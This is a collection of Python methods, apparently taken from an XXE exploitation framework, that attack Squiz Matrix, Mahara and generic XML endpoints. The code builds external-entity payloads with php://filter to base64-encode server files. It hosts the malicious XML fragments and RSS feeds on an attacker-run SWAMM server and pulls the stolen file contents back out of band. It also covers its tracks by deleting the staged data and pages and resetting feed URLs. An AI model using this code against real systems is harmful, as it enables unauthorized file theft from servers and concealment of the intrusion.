def SendXXEMessage(self, messageVariables, isSystemEntity): # if a file is being requested, base64-encode its contents if (isSystemEntity): #messageVariables['%URIPREFIX%'] = 'php://filter/read=convert.base64-encode/resource=' messageVariables[ '%XXETARGET%'] = 'php://filter/read=convert.base64-encode/resource=' + messageVariables[ '%XXETARGET%'] messageVariables['%SQUIZCOMMANDACTION%'] = self.GetOptionByName( 'SquizCommandAction').CurrentValue # this module deliberately uses an invalid URL for the "write" URL so that a 404 is returned messageVariables['%SWAMMWRITEURL%'] = '{0}{1}'.format( self.SWAMMURLs.BaseURL, self.NonexistentURIStem) reflectedFullURL = '{0}{1}'.format(self.SWAMMURLs.BaseURL, self.SWAMMReflectedXMLFileName) self.LogDebug( 'Using SWAMM URI stem "{0}" to stage Yunusov-Osipov XML fragment - full URL will be "{1}"' .format(self.SWAMMReflectedXMLFileName, reflectedFullURL)) messageVariables[ '%SWAMMSTOREDREQUESTID%'] = self.SWAMMReflectedXMLFileName xmlFragTemplate = self.GetYunusovOsipovType2ReflectedXXEDefinitionTemplateBlock( ) xmlFrag = self.ActualizeTemplate(xmlFragTemplate, messageVariables) xmlFragResponse = libdeceitfulhttp.HTTPResponse() xmlFragResponse.ResponseCode = 200 xmlFragResponse.ResponseReason = "OK" xmlFragResponse.AddOrReplaceHeader('Content-Type', 'text/xml') xmlFragResponse.Body = xmlFrag self.SWAMMStoreBasicRequestResponsePair( self.SWAMMStoredRequestID, '/{0}'.format(self.SWAMMReflectedXMLFileName), None, xmlFragResponse) xxexmlmessage = self.GetModuleDataFile('xxe-01.txt') messageVariables[ '%YUNUSOVOSIPOVBLOCK%'] = self.GetYunusovOsipovType2MainXXEDefinitionTemplateBlock( ) xxexmlmessage = self.ActualizeTemplate(xxexmlmessage, messageVariables) httpHeaders = self.GetStandardHTTPHeaders() httpHeaders['Accept'] = 'application/xhtml+xml,application/xml' httpHeaders['Content-Type'] = 'text/xml' targetURL = '{0}?SQ_ACTION={1}'.format( self.GetOptionByName('SquizAdminURL').CurrentValue, self.GetOptionByName('SquizURLAction').CurrentValue) response = self.SendRequest("POST", targetURL, xxexmlmessage, httpHeaders) result = self.ParseDelimitedResponse( messageVariables, response, libxxeexploits.ResponseParserSettingsPHP(), delimiterText=messageVariables['%SHORTDELIMITER%'], base64DecodeBody=True) return result
def SendXXEMessageViaPageCreate(self, messageVariables, isSystemEntity, pageCreateRequestBody): # pick a new filename to avoid caching problems on the target system self.ResetRSSFileName() messageVariables = self.UpdateMaharaMessageVariables(messageVariables, isSystemEntity) httpHeaders = self.GetBaseMaharaHTTPHeaders() # create the new view/page, then determine its URL and page ID requestBody = pageCreateRequestBody pageCreateResponse = self.CreateMaharaPage(messageVariables, isSystemEntity, httpHeaders, requestBody) pageCreateRedirectURL = self.GetRedirectLocationFrom30X(pageCreateResponse) pageID = self.GetMaharaPageIDFromMaharaURL(pageCreateRedirectURL) # verify that the new page loads correctly self.CheckMaharaPage(pageCreateRedirectURL, httpHeaders) # change the block type to externalfeed (RSS viewer) and obtain the blockinstance value blockTypeChangeResponse = self.ChangeMaharaBlockTypeToRSSFeedReader(pageCreateRedirectURL, httpHeaders, pageID) blockInstanceID = self.GetMaharaBlockInstanceIDFromBlockTypeChangeResponse(blockTypeChangeResponse) # create the Yunusov-Osipov block and store it in SWAMM for the malicious XML file to reference messageVariables = self.StoreYunusovOsipovType2ReflectedXXEBlockInSWAMM(messageVariables) # create a malicious RSS feed and store it in SWAMM messageVariables = self.StoreXXERSSFeedInSWAMM(messageVariables) reflectedXXERSSFullURL = '{0}{1}'.format(self.SWAMMURLs.BaseURL, self.SWAMMReflectedRSSFileName) self.LogDebug('XXE RSS feed URL is "{0}"'.format(reflectedXXERSSFullURL)) # update the RSS reader to read content from the XXE feed feedReaderUpdateResponse = self.PointMaharaRSSFeedReaderToXXEFeed(pageCreateRedirectURL, httpHeaders, blockInstanceID, pageID, reflectedXXERSSFullURL) # retrieve the OOB data from SWAMM oobResult = self.SWAMMRetrieveOOBData(messageVariables, httpHeaders, libxxeexploits.ResponseParserSettingsPHP(), feedReaderUpdateResponse) # delete the OOB data now that it's been retrieved self.SWAMMDeleteOOBData(messageVariables, httpHeaders) # delete the page from Mahara responseDelete = self.DeleteMaharaPage(httpHeaders, pageID) # delete the malicious RSS feed self.SWAMMDeleteRequestResponsePairByID(self.SWAMMStoredRequestIDRSSFile) return oobResult
def SendXXEMessage(self, messageVariables, isSystemEntity): #rawRequestTemplate = libfileio.FileReader.getFileAsString(self.GetOptionByName('TemplateRequestFile').CurrentValue) #templateRequest = libdeceitfulhttp.HTTPRequest.FromRawTCPMessage(rawRequestTemplate) templateRequest = self.GetTemplateHTTPRequestFromFile( self.GetOptionByName('TemplateRequestFile').CurrentValue) b64results = self.GetOptionByName('Base64EncodeResults').CurrentValue b64results = b64results.lower().strip() base64encodeResults = False if ((b64results != 'false') and (b64results.strip() != '')): base64encodeResults = True self.SupportsDirectoryListings = False if (isSystemEntity): messageVariables[ '%XXETARGET%'] = 'php://filter/read=convert.base64-encode/resource={0}'.format( messageVariables['%XXETARGET%']) self.SetDocTypeTagName( self.GetOptionByName('DocTypeTagName').CurrentValue, messageVariables) self.SetElementTagName( self.GetOptionByName('ElementTagName').CurrentValue, messageVariables) xxexmlmessage = templateRequest.Body xxexmlmessage = self.ActualizeTemplate(xxexmlmessage, messageVariables) response = self.SendRequest( templateRequest.HTTPMethod, self.GetOptionByName('TargetURL').CurrentValue, xxexmlmessage, templateRequest.Headers) if (base64encodeResults): result = self.ParseDelimitedResponse( messageVariables, response, libxxeexploits.ResponseParserSettingsPHP(), base64DecodeBody=True) else: result = self.ParseDelimitedResponse( messageVariables, response, libxxeexploits.ResponseParserSettingsJava()) return result
def SendXXEMessage(self, messageVariables, isSystemEntity): # if a file is being requested, base64-encode its contents if (isSystemEntity): #messageVariables['%URIPREFIX%'] = 'php://filter/read=convert.base64-encode/resource=' messageVariables[ '%XXETARGET%'] = 'php://filter/read=convert.base64-encode/resource=' + messageVariables[ '%XXETARGET%'] messageVariables['%SQUIZCOMMANDACTION%'] = self.GetOptionByName( 'SquizCommandAction').CurrentValue reflectedFullURL = '{0}{1}'.format(self.SWAMMURLs.BaseURL, self.SWAMMReflectedXMLFileName) self.LogDebug( 'Using SWAMM URI stem "{0}" to stage Yunusov-Osipov XML fragment - full URL will be "{1}"' .format(self.SWAMMReflectedXMLFileName, reflectedFullURL)) messageVariables[ '%SWAMMSTOREDREQUESTID%'] = self.SWAMMReflectedXMLFileName xmlFragTemplate = self.GetYunusovOsipovType2ReflectedXXEDefinitionTemplateBlock( ) xmlFrag = self.ActualizeTemplate(xmlFragTemplate, messageVariables) xmlFragResponse = libdeceitfulhttp.HTTPResponse() xmlFragResponse.ResponseCode = 200 xmlFragResponse.ResponseReason = "OK" xmlFragResponse.AddOrReplaceHeader('Content-Type', 'text/xml') xmlFragResponse.Body = xmlFrag self.SWAMMStoreBasicRequestResponsePair( self.SWAMMStoredRequestID, '/{0}'.format(self.SWAMMReflectedXMLFileName), None, xmlFragResponse) xxexmlmessage = self.GetModuleDataFile('xxe-01.txt') messageVariables[ '%YUNUSOVOSIPOVBLOCK%'] = self.GetYunusovOsipovType2MainXXEDefinitionTemplateBlock( ) xxexmlmessage = self.ActualizeTemplate(xxexmlmessage, messageVariables) # Trigger the XXE in Squiz httpHeaders = self.GetStandardHTTPHeaders() httpHeaders['Accept'] = 'application/xhtml+xml,application/xml' httpHeaders['Content-Type'] = 'text/xml' targetURL = '{0}?SQ_ACTION={1}'.format( self.GetOptionByName('SquizAdminURL').CurrentValue, self.GetOptionByName('SquizURLAction').CurrentValue) response1 = self.SendRequest("POST", targetURL, xxexmlmessage, httpHeaders) # retrieve the OOB data from SWAMM targetURL = '{0}{1}'.format(self.SWAMMURLs.ReadURL, self.SWAMMReceiverID) self.LogDebug( 'Target URL for out-of-band read is "{0}"'.format(targetURL)) response2 = self.SendRequest("GET", targetURL, None, httpHeaders) if (response2.ResponseCode != 200): self.LogWarning( 'Got a response code of {0} instead of 200 when trying to read the data for "{1}" from SWAMM' .format(response2.ResponseCode, messageVariables['%XXETARGET%'])) result = self.ParseDelimitedResponse( messageVariables, response1, libxxeexploits.ResponseParserSettingsPHP(), delimiterText=messageVariables['%SHORTDELIMITER%'], base64DecodeBody=True) #raise libxxeexploits.XXEModuleError('Got a response code of {0} instead of 200'.format(response2.ResponseCode)) return result else: result = self.ParseDelimitedResponse( messageVariables, response2, libxxeexploits.ResponseParserSettingsPHP(), delimiterText=messageVariables['%SHORTDELIMITER%'], base64DecodeBody=True) # delete the OOB data now that it's been retrieved targetURL = '{0}{1}'.format(self.SWAMMURLs.DeleteURL, self.SWAMMReceiverID) self.LogDebug( 'Target URL for out-of-band data delete is "{0}"'.format( targetURL)) response3 = self.SendRequest("GET", targetURL, None, httpHeaders) # double-check to make sure it's really deleted targetURL = '{0}{1}'.format(self.SWAMMURLs.ReadURL, self.SWAMMReceiverID) self.LogDebug('Target URL for OOB read is "{0}"'.format(targetURL)) response2 = self.SendRequest("GET", targetURL, None, httpHeaders) if (response2.ResponseCode == 404): self.LogDebug( 'Out-of-band data was successfully deleted from the SWAMM instance' ) else: self.LogWarning( 'The out-of-band data at "{0}" was not successfully deleted from the SWAMM instance - there is a small chance that this may cause inaccurate results for other files downloaded during this session' .format(self.SWAMMURLs.ReadURL)) return result return result
def SendXXEMessage(self, messageVariables, isSystemEntity): # pick a new filename to avoid caching problems on the target system self.ResetRSSFileName() messageVariables = self.UpdateMaharaMessageVariables(messageVariables, isSystemEntity) httpHeaders = self.GetBaseMaharaHTTPHeaders() # load the page and make sure it contains at least one RSS feed reader existingPageURL = '{0}{1}'.format(self.GetOptionByName('MaharaURL').CurrentValue, self.GetOptionByName('MaharaPageURIStem').CurrentValue) self.LogDebug('Verifying that target page "{0}" appears to be valid'.format(existingPageURL)) existingPageResponse = self.CheckMaharaPage(existingPageURL, httpHeaders) self.LogDebug('Searching for RSS feed reader block instance IDs in the response') rssBlockInstanceIDs = self.GetMaharaRSSFeedReaderBlockInstanceIDs(existingPageResponse) self.LogDebug('Found the following {0} RSS feed reader block instance IDs on the page: "{1}"'.format(len(rssBlockInstanceIDs), rssBlockInstanceIDs)) targetBlockInstanceID = self.GetOptionByName('MaharaRSSBlockID').CurrentValue useDefaultBlockID = True if ((targetBlockInstanceID) and (targetBlockInstanceID.strip() != '')): useDefaultBlockID = False self.LogDebug('Using user-specified block instance ID of "{0}"'.format(targetBlockInstanceID)) if (targetBlockInstanceID in rssBlockInstanceIDs): self.LogDebug('Block instance ID "{0}" was found in the target page HTML - no issues'.format(targetBlockInstanceID)) else: self.LogWarning('Block instance ID "{0}" was not found in the target page HTML - if this operation fails, please verify that you have specified a valid block instnace ID, or use the default behaviour and leave that parameter out entirely'.format(targetBlockInstanceID)) else: if (len(rssBlockInstanceIDs) < 1): self.LogCritical('Could not automatically find any block instance IDs corresponding to RSS feed readers on the target page - please verify that the page contains such an object, and if necessary manually specify the block instance ID', isFatal = True) targetBlockInstanceID = rssBlockInstanceIDs[0] self.LogDebug('Using first valid block instance ID from the results ({0})'.format(targetBlockInstanceID)) # determine the page ID from the initial URL pageID = self.GetMaharaPageIDFromMaharaURL(existingPageURL) # get the existing feed reader configuration existingBlockResponse = self.GetMaharaBlockInstance(httpHeaders, pageID, targetBlockInstanceID, existingPageURL) existingFeedReaderURLs = self.GetRSSFeedReaderContentURLs(existingBlockResponse) originalFeedReaderURL = None if (len(existingFeedReaderURLs) < 1): self.LogWarning('Unable to determine the existing RSS feed URL for this feed reader - it will not be reset to the current value after this operation - if there is no existing feed URL set, this warning can be ignored') else: if (len(existingFeedReaderURLs) > 1): self.LogWarning('There were {0} RSS feed URLs obtained when examining the existing feed reader configuration ("{1}") - this most likely indicates that the configuration was parsed incorrectly - you may wish to manually change the feed URL back to one of these values if the default value ("2") appears incorrect'.format(len(existingFeedReaderURLs), existingFeedReaderURLs, existingFeedReaderURLs[0])) originalFeedReaderURL = existingFeedReaderURLs[0] self.LogInfo('After completion of this operation, the feed reader URL will be reset to its present value of "{0}"'.format(originalFeedReaderURL)) # create the Yunusov-Osipov block and store it in SWAMM for the malicious XML file to reference messageVariables = self.StoreYunusovOsipovType2ReflectedXXEBlockInSWAMM(messageVariables) # create a malicious RSS feed and store it in SWAMM messageVariables = self.StoreXXERSSFeedInSWAMM(messageVariables) reflectedXXERSSFullURL = '{0}{1}'.format(self.SWAMMURLs.BaseURL, self.SWAMMReflectedRSSFileName) self.LogDebug('XXE RSS feed URL is "{0}"'.format(reflectedXXERSSFullURL)) # update the RSS reader to read content from the XXE feed feedReaderUpdateResponse = self.PointMaharaRSSFeedReaderToXXEFeed(existingPageURL, httpHeaders, targetBlockInstanceID, pageID, reflectedXXERSSFullURL, isNewFeed = False) # retrieve the OOB data from SWAMM oobResult = self.SWAMMRetrieveOOBData(messageVariables, httpHeaders, libxxeexploits.ResponseParserSettingsPHP(), feedReaderUpdateResponse) # delete the OOB data now that it's been retrieved self.SWAMMDeleteOOBData(messageVariables, httpHeaders) # point the feed reader back to its original URL, if that value was stored if (originalFeedReaderURL): self.LogDebug('Resetting feed reader content URL to its original value of "{0}"'.format(originalFeedReaderURL)) feedReaderUpdateResponse = self.PointMaharaRSSFeedReaderToXXEFeed(existingPageURL, httpHeaders, targetBlockInstanceID, pageID, originalFeedReaderURL, isNewFeed = False) # delete the malicious RSS feed self.SWAMMDeleteRequestResponsePairByID(self.SWAMMStoredRequestIDRSSFile) return oobResult
def SendXXEMessage(self, messageVariables, isSystemEntity): #rawRequestTemplate = libfileio.FileReader.getFileAsString(self.GetOptionByName('TemplateRequestFile').CurrentValue) #templateRequest = libdeceitfulhttp.HTTPRequest.FromRawTCPMessage(rawRequestTemplate) templateRequest = self.GetTemplateHTTPRequestFromFile( self.GetOptionByName('TemplateRequestFile').CurrentValue) if (isSystemEntity): messageVariables[ '%XXETARGET%'] = 'php://filter/read=convert.base64-encode/resource={0}'.format( messageVariables['%XXETARGET%']) self.SetDocTypeTagName( self.GetOptionByName('DocTypeTagName').CurrentValue, messageVariables) self.SetElementTagName( self.GetOptionByName('ElementTagName').CurrentValue, messageVariables) reflectedFullURL = '{0}{1}'.format(self.SWAMMURLs.BaseURL, self.SWAMMReflectedXMLFileName) self.LogDebug( 'Using SWAMM URI stem "{0}" to stage Yunusov-Osipov XML fragment - full URL will be "{1}"' .format(self.SWAMMReflectedXMLFileName, reflectedFullURL)) messageVariables[ '%SWAMMSTOREDREQUESTID%'] = self.SWAMMReflectedXMLFileName xmlFragTemplate = self.GetYunusovOsipovType2ReflectedXXEDefinitionTemplateBlock( ) xmlFrag = self.ActualizeTemplate(xmlFragTemplate, messageVariables) xmlFragResponse = libdeceitfulhttp.HTTPResponse() xmlFragResponse.ResponseCode = 200 xmlFragResponse.ResponseReason = "OK" xmlFragResponse.AddOrReplaceHeader('Content-Type', 'text/xml') xmlFragResponse.Body = xmlFrag self.SWAMMStoreBasicRequestResponsePair( self.SWAMMStoredRequestID, '/{0}'.format(self.SWAMMReflectedXMLFileName), None, xmlFragResponse) messageVariables[ '%YUNUSOVOSIPOVBLOCK%'] = self.GetYunusovOsipovType2MainXXEDefinitionTemplateBlock( ) xxexmlmessage = templateRequest.Body xxexmlmessage = self.ActualizeTemplate(xxexmlmessage, messageVariables) response1 = self.SendRequest( templateRequest.HTTPMethod, self.GetOptionByName('TargetURL').CurrentValue, xxexmlmessage, templateRequest.Headers) # retrieve the OOB data from SWAMM httpHeaders = self.GetStandardHTTPHeaders() targetURL = '{0}{1}'.format(self.SWAMMURLs.ReadURL, self.SWAMMReceiverID) self.LogDebug( 'Target URL for out-of-band read is "{0}"'.format(targetURL)) response2 = self.SendRequest("GET", targetURL, None, httpHeaders) if (response2.ResponseCode != 200): self.LogWarning( 'Got a response code of {0} instead of 200 when trying to read the data for "{1}" from SWAMM' .format(response2.ResponseCode, messageVariables['%XXETARGET%'])) result = self.ParseDelimitedResponse( messageVariables, response1, libxxeexploits.ResponseParserSettingsPHP(), delimiterText=messageVariables['%SHORTDELIMITER%'], base64DecodeBody=True) return result else: result = self.ParseDelimitedResponse( messageVariables, response2, libxxeexploits.ResponseParserSettingsPHP(), delimiterText=messageVariables['%SHORTDELIMITER%'], base64DecodeBody=True) # delete the OOB data now that it's been retrieved targetURL = '{0}{1}'.format(self.SWAMMURLs.DeleteURL, self.SWAMMReceiverID) self.LogDebug( 'Target URL for out-of-band data delete is "{0}"'.format( targetURL)) response3 = self.SendRequest("GET", targetURL, None, httpHeaders) # double-check to make sure it's really deleted targetURL = '{0}{1}'.format(self.SWAMMURLs.ReadURL, self.SWAMMReceiverID) self.LogDebug('Target URL for OOB read is "{0}"'.format(targetURL)) response2 = self.SendRequest("GET", targetURL, None, httpHeaders) if (response2.ResponseCode == 404): self.LogDebug( 'Out-of-band data was successfully deleted from the SWAMM instance' ) else: self.LogWarning( 'The out-of-band data at "{0}" was not successfully deleted from the SWAMM instance - there is a small chance that this may cause inaccurate results for other files downloaded during this session' .format(self.SWAMMURLs.ReadURL)) return result return result